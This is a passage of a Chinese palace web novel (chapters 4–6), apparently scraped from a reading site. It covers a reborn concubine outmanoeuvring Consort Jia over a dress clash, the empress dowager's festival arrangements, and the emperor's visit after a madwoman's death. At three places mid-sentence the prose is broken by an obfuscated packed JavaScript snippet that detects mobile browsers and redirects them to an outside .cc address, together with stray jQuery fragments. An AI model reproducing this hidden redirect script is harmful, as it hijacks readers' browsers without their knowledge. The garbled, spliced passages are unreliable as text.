颂兰扶着霜降的手,才走到钟粹宫的宫门口,小卓子便远远跑回来,一边不住擦汗,一边对着颂兰打个千儿,道: “小主,奴才一早去尚宫局领今日的用度,回来时路过景阳宫,听到几个小宫人说,与您一同入宫的温常在不知怎的惹怒了嘉妃娘娘,这会儿嘉主子正在景阳宫门口,要罚温小主呢!” 4. 撞衫 景阳宫的琉璃瓦在晨光里泛着青白,檐角瑞兽衔珠,自珠上垂下累累铜铃,被春风吹得叮当作响。 檐下植满高大梨树,亭亭如盖。暮春时分,梨花已然开至盛极,片片自枝头飞落,宛如落雪。 颂兰刚到景阳宫,便瞧见梨花树下,温昭昭一身宝蓝色,维持着屈膝行礼的姿态。 她对面立着一个容貌昳丽的女子,亦是身穿宝蓝色缕金绣孔雀云锦洒花裙,头戴一顶金累丝嵌蓝宝头冠,流云髻旁斜插一支“仙鹤拜寿”白玉簪,发间点缀无数细小的攒金宫花,华贵非常,正是眼下后宫之中最炙手可热的嘉妃,萧元姝。 周围不时有前来晨省的嫔妃经过,然而除了颂兰,无一人凑过来瞧这处的热闹。 原因无二:嘉妃盛宠,虽只居从二品妃位,可便是其上的德妃、淑妃亦要避她风头,无人敢掖其锋。 想是蹲的时间过长,温昭昭双膝不住地发颤,咬唇道:“娘娘恕罪,嫔妾并非有意冲撞娘娘。” “并非有意?”嘉妃抬起右手,涂着蔻丹的纤纤十指抚过左手袖口,“上个月尚宫局分发六匹云锦,本宫特意吩咐过,宝蓝色只能裁给咸福宫。昨日他们才巴巴儿送来制好的新衣,今日便与温常在你撞了色。” 她说着,手上突然发力,只听刺啦一声,小指上的金镶玉点翠护甲一下便划破了袖口娇贵的衣料,“温常在以下犯上,划破了本宫的衣裳。便在此跪上三个时辰,好好思过吧。” 这可是景阳宫门前!今日晨省,阖宫嫔妃都要来拜见,来来往往的宫人更是不计其数。在这跪上三个时辰,便是将温昭昭的脸面彻底踩进了泥里去。 闻言,嘉妃身旁的宫女立刻上前,压着温昭昭的肩膀便要让她跪在当场。 春寒料峭,颂兰顾不得那许多,三步并作两步便走了上去,出言阻道:“姑姑且慢!” 又福身行礼:“嫔妾钟粹宫选侍乔氏,给嘉妃娘娘、温小主请安。嘉妃娘娘万福金安。” 嘉妃一记眼风睨过来,将颂兰从头到脚扫了一道。 “你就是给了封号的那个乔氏?胆子倒是挺大,这是要充哪门子青天大老爷啊。” 颂兰恭顺道:“嫔妾仰慕娘娘风华,是以不能眼见您一叶障目而不劝告。” “这届秀女们倒是有趣得很,一个两个的倒要教起本宫规矩。” 因着嘉妃不说平身,颂兰亦如温昭昭一般维持着行礼姿势。 她恭敬道:“嫔妾怎敢僭越。不过嫔妾幼时好动,常跑到村子里的私塾去偷听先生讲课。记得有一回先生讲到《韩非子》中《桓公好服紫》的典故,倒真应着今日的景儿。‘齐桓公好服紫,一国尽服紫。’,娘娘今日恰似当年桓公,妹妹们蒲柳之姿,怎敢同娘娘争辉,不过是仰慕您的风姿,这才择了近色宫装,东施效颦而已。” 嘉妃冷笑,抬手慢条斯理理了理鬓发,“哦?蕙选侍倒是生了一张巧嘴。不过,温常在冒犯本宫,扯烂了本宫的袖子,害得本宫要在皇后跟前失礼,此事我的宫女皆是见证,温常在目无宫规,不得不罚。” 颂兰柔声道:“娘娘宠冠六宫,不过一条裙子罢了,计较与否,不过在娘娘一念之间。” 她抬起头,鼓足勇气直视嘉妃,“嫔妾方才说到《桓公好服紫》,其实还有后半段:齐国百姓竞相效仿桓公着紫,桓公不愿民间盛行奢侈之风,便在管仲的进言下改穿素衣。不出三日,齐国境内人人皆服素色。” 见嘉妃若有所思,颂兰顿了顿,继续道:“所谓‘上有所好,下必甚焉’,不日便是端午节,宫中素有赐团扇、赏夏服的传统。太后娘娘推崇节俭之风,若您愿意改着简朴服色,届时依着您的风尚裁团扇夏衣,自然可以服众。宫人们乐意效仿,您也将是主持典礼的不二人选。” 嘉妃一愣,这才想到一个月前皇后与德妃确实吩咐过,要在今日的晨省上商讨端午节夏祭的事宜,太后亦会亲临。自己择衣时只想着要在新秀们面前出彩,却忘了太后素来不喜豪奢。 若能拿到主持端午祭礼的差事,一条裙子,自然算不得什么了。 更何况,太后一向不满皇帝偏爱嘉妃。若是被那老妇抓到把柄,她因为这点小事,便让新人在景阳宫前罚跪…… 嘉妃恶狠狠翻了个白眼,不忿地“哼”了一声,到底从唇角挤出一句:“都起来吧。” 随后便扶着侍女的手,匆匆回咸福宫更衣了。 颂兰这才起身,揉了揉有些酸软的膝盖,忙又回身扶起温昭昭,“姐姐。” 温昭昭跪得久了,双腿已然有些虚浮。她撑着颂兰和真儿的手才勉强站住,双眼含泪,盈盈望向颂兰。 “今日多谢妹妹仗义执言,否则往后我在宫中怕是无法立足了。” “我与姐姐情同姐妹,姐姐遭此不平事,我岂有袖手旁观的道理。” 颂兰垂下脸,掩去了眸中思绪。温昭昭真是好演技,若不是有前世记忆,恐怕她也要以为温昭昭今日不过无心之失,只是倒霉引得嘉妃刻意为难了。 而事实上,温昭昭初入宫时,是不愿得宠的——她与裴抒在宫外海誓山盟,却被皇帝留了牌子,做了天家媳妇。正是“一入宫门深似海,从此萧郎是路人”。骤然斩断情丝,自然撕心裂肺,即便入了后宫,她仍想替自己的裴郎守身如玉。 嘉妃尤爱宝蓝,在后宫中不算什么秘密。所以,温昭昭便自导自演了这出“撞衫”戏码,事实上,宝蓝色染料价贵,哪有那么巧,一个身份低微的常在,就硬是穿得起宝蓝裙裳呢? 而温昭昭当着后宫所有人的面狠狠得罪了嘉妃,皇帝自然顺着宠妃的意,冷落了她。她亦自称被嘉妃罚后,吓破了胆儿,顺理成章将颂兰推出去争宠,自个儿躲在“好姐妹”的庇护下,既守住了“贞洁”,又有个活生生立着的傻子,替她承受后宫中各处射来的明刀暗箭。 只不过后来,裴抒好长一段时间杳无音信,温昭昭成日看着颂兰那鲜花着锦的宠妃生活,不免渐渐动摇了心思…… 乔颂兰心头划过一丝寒意,这一世,她倒要看看,没了她这个趁手的工具人,温昭昭和裴抒到底还能不能那般情比金坚。 温昭昭拉着颂兰的手,连连柔声道谢。二人执手一道穿过庭院,前来谒见皇后的妃嫔在景阳宫正殿门前夹道站成两列,依照位分各自站定。 辰时三刻,宫门吱呀洞开。厚重朱漆雕花门内走出两列捧着香盒金瓜等的宫女,为首的女官扬声唱道:"众妃嫔入殿觐见——" …… 元孝皇后薨逝后,崔太后效仿吕后行事,一手扶持年仅九岁的嫡亲侄女崔令容登上后位。时至今年,皇后亦不过将将满十二岁,只空有一个皇后名号,六宫诸事皆由出身世家的德妃慕容氏主理,淑妃从旁协理。 而太后崔氏正当盛年,不过碍于情面,也甚少插手儿子的内事。 辅一进殿,颂兰便看到了那凤座上端然坐着的小皇后崔令容。皇后年纪虽幼,可到底出身名门崔氏,幼秉庭训,这召见妃嫔的礼数做足了三年,亦是驾轻就熟。众妃嫔规规矩矩,一齐行了宫礼: “嫔妾/臣妾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319005|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给皇后娘娘请安,娘娘万福金安。” 皇后便操着稚嫩的嗓音,沉稳道:“平身吧。” 皇后的凤座旁还置了两张鸾椅,众妃平身后,德妃、淑妃便上前分坐于皇后左右。 二姝芳华正好,却是风格迥异,各有千秋。 德妃一双凤目微微上挑,远山眉斜飞入鬓,一袭绛红宫装气势凌厉,宛如赤芍燃霞,华贵雍容。 淑妃却是杏眼含情,柳叶眉,鹅蛋脸,宛然一笑,恰似春波澹澹、弱柳含烟,是个极清丽温柔的女子。 不过张扬也好,婉约也罢,能做到四妃之位,必然不会是空有美貌的平庸之辈。 便见右手一列座位空着两张椅子。皇后微一垂目,景阳宫领侍张德顺便报道: “皇后娘娘容禀:舒贵嫔娘娘身子抱恙,今日请安又不能来了。” 皇后便问:“太医院开的平安方子,舒贵嫔可有在吃啊。” “回皇后娘娘的话,章太医前些日子新换了个养身方子,舒主子吃着,似乎比从前好些。主子的脉案章太医日日都看的,正斟酌着增减药量呢。” 皇后微笑道:“贵嫔还年轻,时时调理着,还会有希望的。” 在场众妃似乎对此习以为常,颂兰眼观鼻鼻观心,便听上首的德妃道:“舒妹妹还是老样子。不过今日请安,嘉妃妹妹又来迟了。” 韩妃酸溜溜道:“嘉妃一向娇贵得很,不是头疼就是脑热,迟到又或是告假,也不新鲜。” 韩妃出身高句丽,一向心直口快。因着做到妃位还没有封号,她便尤其嫉妒得了封号的嘉妃萧元姝。 德妃抚了抚衣襟,“请安不过是个形式,尊卑却自在人心。” 正在这时,影壁外的小内监扯起嗓子通传:“嘉妃娘娘到——” 一阵香风袭来,嘉妃搭着宫女的手迤逦行至殿内。她确实换了一身低调许多的玉色锦裙,只在裙摆处以细细的银线钩织出精致的流云纹路。头饰亦极尽简素,只在耳垂上坠了一对浑圆硕大的东珠,隐现富贵。 她懒懒福身,“臣妾给皇后娘娘请安。”随后不等皇后赐平身,便又扶着宫女的手站了起来。 她福身福得低,宫女俯身去扶她,不免露出了发间佩戴的簪子。颂兰定眼一瞧,那宫女的鬟上竟别着一支点翠烧蓝喜鹊登梅簪子。水色盈然,正衬得那妙龄女子人比花娇。 按例,点翠首饰只有贵嫔以上主子才可使用,嘉妃竟就这么大剌剌地佩在了随身宫女的发髻上,自然引得众人瞩目。 可更要紧的是,温昭昭今日穿的那身宝蓝色宫装,上头绣的正是“喜鹊登梅”图案。两相之下,竟把温昭昭比得同嘉妃身边的婢子一般。 颂兰啼笑皆非,好个睚眦必报的嘉妃娘娘!虽有颂兰解困,教温昭昭免了跪刑苦楚,可嘉妃终究没轻易放过她。这一手后招,无异于给了温昭昭狠狠的一个耳光。 不少妃嫔都目睹了嘉妃同温昭昭在景阳宫前的那番龃龉,一时间殿内气氛尴尬,众人眼风皆在萧元姝与温昭昭二人之间打转。 温昭昭面皮本就薄,这一下一张小脸涨得通红,泪盈于睫,好不可怜。 相比温昭昭的局促,嘉妃便显得云淡风轻。她自顾自寻了位置坐下,便听得门外女官通传: “太后娘娘到——” 众人连忙起身,肃容迎接太后。韩妃抓住时机,阴阳怪气道: “嘉妃娘娘好大的排场。素闻咸福宫豪奢,不知您一个月月例几何,竟能违背祖制,给身边宫女都赏了戴点翠的体面?” 5. 银鹊 “臣妾/嫔妾给太后娘娘请安,太后娘娘万福金安。” 妃嫔们行礼如仪,鬓影交错,太后已扶着云姑姑的手转过影壁。 当今太后出身清河崔氏,乃是皇帝生母。先帝爷膝下子嗣单薄,太后能在后宫的刀光剑影间平安诞下太子,又将储君抚养长大,足见其谋略。 而今她年纪亦不过五十有二,因春寒薄冷,便在织金袍子外又套了件墨绿缠枝暗金云纹褙子,显得气度沉稳端方。 太后手上盘着一串青玉串蜜蜡的佛珠,不耐烦道地挥挥手,“都杵在这做什么,平身吧。” 众人方起身,自有宫人抬出一张垫着软垫的凤椅,为太后布座上茶。太后施施然于上首坐下,韩妃便耐不住性子,抢先道: “太后娘娘,今儿可有一桩稀奇事。早听闻嘉妃姐姐最是体恤下人,今日一见果然不假,连伺候她的素心都有脸面插戴点翠首饰,倒把咱们好几个妹妹都比了下去!” 闻言,太后抬眸,打量了一眼昂首立着的嘉妃同她身后低眉顺眼的素心,微不可察地皱起眉头,“端午夏祭的章程还没定,你们倒有闲心在这儿攀比衣裳首饰。” 韩妃面露得色,嘉妃却犹自气定神闲,只抬手扶了扶鬓发上插戴着的宫花。 殿内气氛有片刻凝滞,皇后愧道:“是臣妾失职。” 见中宫都出声打圆场,太后抿了口茶水,她身旁的清云姑姑便出列道: “依照宫规,宫女不得佩戴点翠、烧蓝、累丝工艺的首饰。素心姑娘穿戴逾矩,还请往宫正司领罚。” 闻言,嘉妃扑哧一笑,不慌不忙地取下素心发间那支簪子,捏在指间盈盈转了个圈。 “还请太后娘娘细观,这哪里是真正的点翠?” 说罢,嘉妃小指上的护甲抵住簪头,在那喜鹊的羽毛上轻轻一刮,靛青颜料下露出银白底色,“不过是拿银胎作底,用靛蓝混着螺钿粉染的,取个颜色罢了。” 众人这才发现,那支“点翠烧蓝”银簪上的根根翠羽并非真正的翠鸟羽毛镶嵌,而是用蓝绿颜料漆涂在银制簪底上。 太后眉心微动,嘉妃察言观色,笑道: “太后娘娘一向推行节俭之风,端午典仪将近,年年都要给宫人官眷们赏团扇、夏服、香囊。若是衣衫首饰皆能仿效此簪,想些巧宗,必能节下好大一笔开支。” 后宫众妃,喜豪奢者以嘉妃为首。如今她主动让步,欲行节俭之事,太后自然乐见其成。她把玩着手中佛珠,须臾,展颜笑道: “后宫有此贤妃,实乃李朝之幸。” 见得了太后首肯,嘉妃顿时喜笑颜开,福身道:“臣妾愿替太后娘娘分忧。” 这便是明晃晃地请权了。 往年宫中大小节典多由德妃一手操办,见嘉妃如此高调地主动请缨,德妃插话道: “端午毕竟是大节。嘉妹妹此举高义,可未免有以次充好之嫌,臣妾恐怕伤了皇家颜面。” 嘉妃冷哼一声,“慕容氏世代皆为后族,自然不晓得何为国之大体。眼下李朝南征,乃是继前朝未竟之功,兴国安邦的大业。臣妾母家世代为国效力,父兄此刻皆在沙场拼杀;臣妾常伴陛下左右,亦见陛下为军费之事殚精竭虑。” 她面带得色,抬起眼角,扫过在场神色各异的众人:“这些妆饰上的体面,哪里比得上收复南疆失地——大计若成,那才是真真的扬我国威!” 萧氏乃是将门世家,嘉妃搬出家国大义,在场诸人皆噤了声,就连韩妃也识相地闭了嘴。 而她话中明晃晃的“后族”二字,仿佛一个又脆又响的巴掌,倒连凤椅上的皇后同太后都讽刺了进去。 世人皆知慕容氏只有后宫的女人,没有前朝的男人。慕容家几代子侄皆没有争气的,如今只剩下一顶靠恩荫袭来的虚爵,甚至于同为依靠女人裙带谋求皇恩的“后族”,慕容氏尚不如太后出身的清河崔氏,好歹在文官中还有些自己的势力。 ——是以哪怕慕容韫将六宫管理得再出色,亦无法撼动崔氏之势,只能屈居德妃之位。 听着嘉妃的慷慨陈词,德妃垂眸,嵌满米珠的护甲抚过鸾椅扶手上精雕细镂的羽纹,唇角勾起一个意味不明的笑。 “妹妹高见,有东汉明德马皇后之风①,做姐姐的倒是自愧不如了。” 形势对嘉妃已是一片大好,德妃亦是能屈能伸,转而便向太后进言: “臣妾来时还在发愁端午赐给命妇们的团扇造价太高,若依着嘉妹妹的法子,不若把檀木柄换成湘妃竹,缂丝扇面改成绢布的,倒能省下三成开支。” 淑妃也凑趣儿道:“香囊亦是年年都要做的。臣妾回头便叫尚功局琢磨琢磨,能否将香囊里的贵价香料换些价廉物美的,有个驱虫辟邪的好意头便好。” 太后捻着念珠沉吟片刻,褪下腕上的那串蜜蜡佛珠:“哀家这串珠子是去年生辰时皇上请灵隐寺大师开过光的,嘉妃拿去让尚宫局的人瞧瞧,便改作端午祭礼的佛前供器吧,亦算哀家的一份心意。” 这便是拍板放权了的意思。 嘉妃又惊又喜,福身盈盈道:“臣妾定当尽心。此珠得太后娘娘福泽滋养,供在佛前,佛祖定然感念咱们的诚心。” 太后笑道:“你这孩子,惯是嘴甜。”便回身对皇后说:“此次端午祭礼,便由嘉妃操办,德妃、淑妃都是宫里的老人了,萧氏若有什么疏漏的,你们也从旁帮衬一二。” 又提点皇后,“你也跟着学一学——往后闺阁廪赐,宫掖诸事,还是要还政到你手上的。” 众妃恭敬应是,又絮絮地商议了些端午夏祭的经办事宜,端的是幅后妃和乐,融洽安宁的景象。太后不禁欣慰道: “皇帝的后宫有你们这些得力贤惠的,哀家尽可以放心了。” 嘉妃娇声道:“有太后娘娘您这根定海神针在,臣妾们怎敢不尽心呢。” “你这猴儿,嘴巴抹了油似的滑头。”太后扶着云姑姑的手站起来,“哀家礼佛的时间到了,你们见过皇后,若无事,便也早些散了吧。”却是半点没提到新入宫的八位佳丽。 原因也很简单——新进宫的低位小主们,还不配向太后单独请安,她老人家,也没有那么多精力,一一分给满园的莺燕。 说穿了,这后宫也不过是座皇家的大宅院。皇后是主母,主位娘娘们是有头有脸的姨娘。至于不计定数的小主们,不过是皇帝屋中的通房侍妾。 万千花蕊,只是寂寂深宫中体面些的玩物罢了。 老太君没有闲情一一关照儿子院中的玩意儿,主母姨娘们却不得不将这些年轻貌美的女人放在心上。送走了太后,皇后便吩咐道: “新入宫的诸位小主出列觐见吧。” 八位丽姝便盈盈站起,按位次高低分作两列,分别以徐贵人、容才人为首,依照着尚仪局培训好的礼仪向皇后行叩拜大礼:“嫔妾给皇后娘娘请安,皇后娘娘万福金安。” 皇后身边的引导大太监张德顺扬起拂尘,引导诸位小主依次向淑妃、德妃、嘉妃、韩妃见礼。 太后为扶持继后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319006|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对后宫诸女晋位多有辖制,除这四人外,今上后宫再无位尊的嫔妃,连九嫔之位亦尽数空悬。 而今八美入宫,芳华殊异,既有高门贵女,亦有小家碧玉,犹如一块石子掷如宁静的水面,势必搅动起不平的涟漪。 皇后依礼讲了些女德女诫的场面话,便赐了众妃嫔跪安。一时间众人四散离去。嘉妃手上把玩着那支银簪子,经过温昭昭身边时扬声道: “衣裳首饰上的花花肠子再多,终究不如办事得力来得实在。” 说罢“哎呀”一声,却是手上一松,将那支银制的“喜鹊登梅”簪摔在了地上。银片塑成的翅膀生生折断,孤零零躺在青砖缝里。 素心作势要去捡,嘉妃抬手拦住她,轻嗤一声,用绣鞋尖把碎片又往廊柱阴影里踢了踢。 “可惜了。好在到底只是个不值钱的玩意儿——这样的赝品,尚服局里要多少有多少。” 惹上嘉妃,到真像惹上了只嘁嘁喳喳的雀儿。无论出不出招,她嘴上永远是不饶人的。 眼见温昭昭吃瘪,颂兰心中自是痛快。不过面上仍然做出关切情状,上前牵住温昭昭的手,“姐姐。” 毕竟温昭昭的后招是什么,她已有了预料。不去推波助澜一把,怎好教温昭昭一步步自寻死路呢? 景阳宫门前人多眼杂,不是说话的地方。二人便只默然前行,穿花拂柳,到了一处偏僻宫苑,温昭昭紧绷着的肩膀骤然松下来,拉住颂兰双手。 “妹妹,都说深宫之内人心难测,我今日方算是领教了!不过一件衣裳,便惹出这许多说法,我实在……” 说着,掩面而泣,好一副柔弱的小白花模样。 颂兰亦有些难过,低沉道:“纵使蠢笨如梁常在之流,亦有家世可以倚仗。姐姐同我却是没有这样的好福分,想必往后也免不了仰人鼻息,夹缝求生。” 见颂兰并未展现出争宠的打算,温昭昭拭了拭泪,试探道:“以妹妹资质,不怕得不到圣心。若有皇上庇佑,想必旁人算计咱们时,亦会多几分忌惮。” 颂兰忙道:“若能有幸得了恩宠,妹妹定然是要向皇上举荐姐姐的。” 争宠,是一定要去做的。不过这一世,她绝不会再傻傻地让温昭昭躲在后边坐收渔利。 若温昭昭还如前世般一心避宠,那么如今日一般的屈辱,往后将成为她的日常。 颂兰倒是真的很好奇,被一脚踢出象牙塔,见识过后宫拜高踩低、人情炎凉的温昭昭,究竟还能不能保持初心,戴好那张高洁如白莲的美人皮呢? 不过眼下,刚刚入宫的温昭昭显然不想要颂兰的什么“举荐”,不然当初在储秀宫,她去巴结那些高门出身的女子岂不胜算更大? 二人继续漫无目的向前走着,脚下芳径却是愈发杂草丛生。温昭昭抿着唇,做足一副委屈样貌。 “妹妹不知我的心意……” 话音未落,斜对角朱漆剥落的宫门忽然被撞开,自阴影中窜出个蓬头垢面的妇人,身上的赭色宫装已污得辨不出花纹。她高举的双手胡乱挥动,不断“嗬嗬”笑着,赤足朝她们扑来。 宫门口的侍卫下意识拔刀去拦,那疯妇却是速度极快,不过电光火石间便已冲到二人近前。她的笑声叫人不寒而栗,咧开嘴,她口中的牙齿脱落得还剩几颗,一股恶臭的口气扑面而来。 二人甚至顾不上恶心,便感到一股温热的液体淋漓泼在脸上。温昭昭尖叫一声,那条“惹事生非”的宝蓝色宫裙上溅开一道猩红痕迹,宛如开到盛极的一串榴花…… 6. 蜜饯 颂兰是被一阵闷雷声惊醒的。 一睁眼,映入眼帘的是张陌生的青纱帐,颂兰几乎错觉回到了幼时的江南,姨娘的小床上亦围着一顶这样的帐子。床的四角悬着姨娘打的彩色络子,垂下飘洒的流苏穗子,土气却鲜活。 她下意识地向上伸手,口中唤道:“姨娘——” 可回应她的却不是姨娘。霜降的声音欢欣而惊喜,“小主醒了。” 视线缓缓聚焦,帷帐用的是质地纤薄的豆绿轻纱,玉色米珠缕缕垂下,是与民间制式迥异的天家富贵,一层复又一层将她罩在其中,纱帘外影影绰绰人声浮动,空气中弥漫着安神香恬淡的气味。 这是间陌生的宫室,霜降掀开帐子探头进来,见颂兰醒转,忙搁了药,递了一只弹花软枕进来给她垫在腰后,压低声音道: “小主,这里是延禧宫。方才皇上来了,正在温常在那边问话呢。” 颂兰点点头表示知晓。霜降便道:“奴婢先伺候您喝药。”这才从小几子上取了药碗来伺候颂兰服用。那安神的汤药熬得又苦又烫,只能用小调羹一勺一勺地喂。 李徴一进门,便见到一个婢子像喂猫似的服侍床上的主子喝药。吃药的那女子应是极怕苦,只敢一小口一小口地啜饮,仍被苦得双眸紧闭,一张雪白小脸缩成一团,连眼下一点朱砂痣都被揉皱。 好不容易结束了这“苦业”,她竟张口向婢子撒娇讨糖吃,一开口便是吴侬软语: “好姊姊,分粒梅子奴含含罢……” 嗓音绵软含情,倒真像颗又酸又甜的梅子。 而婢子把喝净了的药碗一搁,哄孩子似的哄她:“小主吩咐,奴婢自当效力。” 又说:“奴婢这就去取果子。小主闭着眼歇息会儿吧,这药热热地喝下去,发了汗捂一捂才好呢。” 便放下帐子,将那抹纤弱的身影又掩罩在了层层朦胧之中。 霜降收拾了药盏,正要起身去拿腌梅子,冷不防迎面撞上了九五至尊,慌忙跪在地上便要行大礼。皇帝却摆摆手,示意她莫要出声。御前大太监张公公只一个眼神,自有小黄门取来一罐蜜饯,毕恭毕敬呈到皇帝手里。 李徴挨着床沿坐下,隔着重重纱帐,并看不清其中之人的面容。方才惊鸿一瞥,只记得她肤色极白,一粒嫣红的朱砂痣躺在眼下,有如雪地里跌落的一瓣红梅。 他捻起一枚蜜饯,眼神示意那婢子上来回话。这宫女倒很灵醒,隔着帐子道: “小主,您要的蜜饯,奴婢取来了。” 颂兰闭着眼睛,只觉得霜降的声音有些远。一只手拨开纱帐伸了进来,将一颗蜜果子递到她唇边。 鼻尖闯进一丝甜蜜气息,颂兰玩心大起,一口便将那果子和霜降的指尖都含进唇间。糖腌梅子入口生津,她小舌轻卷,却舔到了一块……薄茧? 颂兰大惊,慌忙睁眼,却看到一截湖蓝色袖口,上边的精刺细绣着蟠螭龙纹,正是天子专供。她吓得连请安的礼节都尽数忘了,柔软唇瓣衔着那枚蜜饯,含含糊糊,带出了点吴语的缠绵尾音。 “皇……皇上?” 她慌忙想要撑起身子,可昏倒时大约磕到了手臂,方一借力,颂兰便感觉手肘关节处传来一阵刺痛,不禁逼出了她喉间一声娇/呼,倒松开了含着皇帝指头的双唇。 酸甜的梅子被舐去了表面一层薄薄糖霜,泛着莹然水光,在朦胧缠绵的纱帐间勾出几丝暧昧氛围。 “既身子不适,便不必顾那些虚礼了。” 皇帝的声音清冷而淡漠,虽说的是家常闲话,仍不免透出久居高位的淡淡威压,“这不是你要吃的吗,留在朕手上做什么。” 那小女子面皮倒薄,只这么一逗,她面皮霎时飞上两团红云,即使隔着朦胧轻纱也好明显。她犹犹豫豫探过头去,轻启朱唇,衔住了那粒深红的果脯。 这次倒很规矩——只用细小的贝齿轻轻将果子咬走,可薄唇却有意无意扫过男人的指尖。 李徴只觉得指腹轻轻划过一点柔软。他心跳不禁重了一拍,可也只是淡淡的,好似被顽劣猫儿逗弄的春柳,划开几道似有若无的醉人涟漪。 她吮着梅子,还不忘讨好他:“谢皇上恩典。” 一时间满屋寂静。颂兰又想到皇帝应是要来问话的,不免赶快打点精神,将今日之事在脑海中又过了一遍。 果然皇帝打破了沉默,却是转头问霜降: “今日是你陪着你家小主吗。” 霜降忙跪下回话道:“回皇上,奴婢是浣花坞掌事宫女霜降,今日头次觐见皇后,小主不敢怠慢,确是奴婢随小主前去,侍奉左右的。” “冷宫远僻,你家小主好端端的怎会走到那去。” “今日见过皇后,我家小主同延禧宫的温小主一道儿出来,温小主心绪不佳,我家小主便开导了温小主几句。因着温小主怕在宫中流泪冲撞了其他主子,便特意往人少的地方去。想是小主们刚入宫不熟悉道路,这才走岔了。” 她跪在地上砰砰叩首道:“奴婢入宫才满一年,从前只在寿安宫伺候过钟贵太嫔,也并不甚识得去冷宫的路,这才没能及时提醒着小主,还请皇上宽恕奴婢侍奉不力之罪。” 皇帝神色不变,只略略抬眼,看了看随侍大太监张宝。见张宝微微点了点头,便继续问道: “那在冷宫前又是怎么回事。” “回皇上,当时我家小主正同温小主说着话,温小主说到伤心处,冷不防面前的宫门撞出来一个人,直直地便冲着温小主扑过来,奴婢们也被惊了一跳,也是那时才知道前头是冷宫。见那人行状异常,守门的侍卫大哥许是恐她伤了小主们,便拔刀来拦,谁料想那女子转头便碰到了刀上,立刻就……温小主当场便吓昏了过去,蕙小主略好些,是硬撑着同奴婢们一道儿把温小主送回宫里,这才晕的。” 三言两语,倒回得很利落,条理明白地把事情讲清了。李徴抚了抚拇指上的玉扳指,垂眸道: “好生服侍你家小主养病吧。这些日子也不必挪动,先暂时安置在延禧宫,待好透了再回去不迟。” 霜降忙道:“谢皇上恩典。”恭送着皇帝一行人浩浩荡荡地离去了。 霜降这才起身去顾床上卧着的颂兰,却见小主已经自顾自撑起身子,面色虽犹带了些病态的苍白,眸光却冷似寒霜,哪里还有半点柔弱不能自理的气质。 “方才你同皇上回话说得很好,既没有逾矩,亦没有乱了分寸。” 霜降道:“奴婢愚笨,怎敢在皇上面前胡乱说嘴,不过实话实说罢了。” 说罢,站起身自屋外唤了个虎头虎脑的小太监进来,又将门关好了,这才过来回话。 “这两日奴婢留心看了,咱们宫里的小卓子是个腿脚麻利又机灵的。午时您晕了过去,奴婢便自作主张叫了他来跑腿,想着能多掌握些消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319007|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便能多几分主动。您同温小主都病着,延禧宫人来人往,便是混一两个生面孔进去也不惹人注意的。” 虽才跟了小主第二日,霜降却很清楚地知道,自家主子心智深沉,既有美貌亦有野心,眼下虽只是个寂寂无名的选侍,但往后造化绝不止于此。 她有心要在小主跟前露脸表忠心,缓了口气,便把小卓子又往前推了一推,“方才陛下到了延禧宫的消息就是他告诉奴婢的。” 小卓子打了个千儿,上前回话道:“回小主,陛下方才在西配殿也问了伺候温小主的真儿,真姑姑将嘉妃娘娘要罚温小主的事添油加醋地说了。温小主许是受惊严重些,奴才走的时候,小主还未醒呢。” “陛下可说什么了?” “圣心难测,奴才不敢妄议上意。万岁爷天威浩荡,不露声色,就是张宝张公公在御前伺候,也常提着颗心呐。” 话说得很圆滑,意思就是:皇帝没说要罚谁,也没说要替谁撑腰。真儿的一番苦心,大概只能如泥牛入海,投入莫测的君心中,不见波澜了。 霜降替他补充:“小卓子的师父是跟着张公公做事的。张公公在陛下跟前得脸,小卓子的师父便也不时提点着徒弟们。” ——虽说是隔了几层的人脉,可能在御前混到那么一星半点消息,总好过睁眼瞎。 前世,霜降与小卓子的投诚发生在她数次承宠、有了些向好的势头后。 人往高处走,良禽择木而栖。深宫之中人人活得艰难,无非是想替自己谋条好点的活路。 颂兰抬眸望向霜降尚且年轻秀丽的脸庞。前世她陪着颂兰风风雨雨十数年,熬成了小宫女们闻之色变的“霜姑姑”。可覆巢之下无完卵,颂兰结局惨淡,霜降也没能得了善终。 这一世重来,颂兰希望能给自己和这些效忠于她的人,都选个不一样的活法。 霜降沉稳得体,小卓子伶俐知机,若能提早将这二人收为己用,这在低等位分上熬着的日子想必会好过些。 颂兰摘下耳上戴着的紫玉髓耳铛,给了霜降和小卓子一人一只,“今日之事你们做得很好。我虽初入宫廷,却也懂得知人善用的道理。往后只要你们肯尽心做事,我必不会亏待了忠心的人。” 冷宫里的疯太嫔撞刀而死,恰巧冲撞了两位新入宫小主的消息当晚便传遍了后宫。 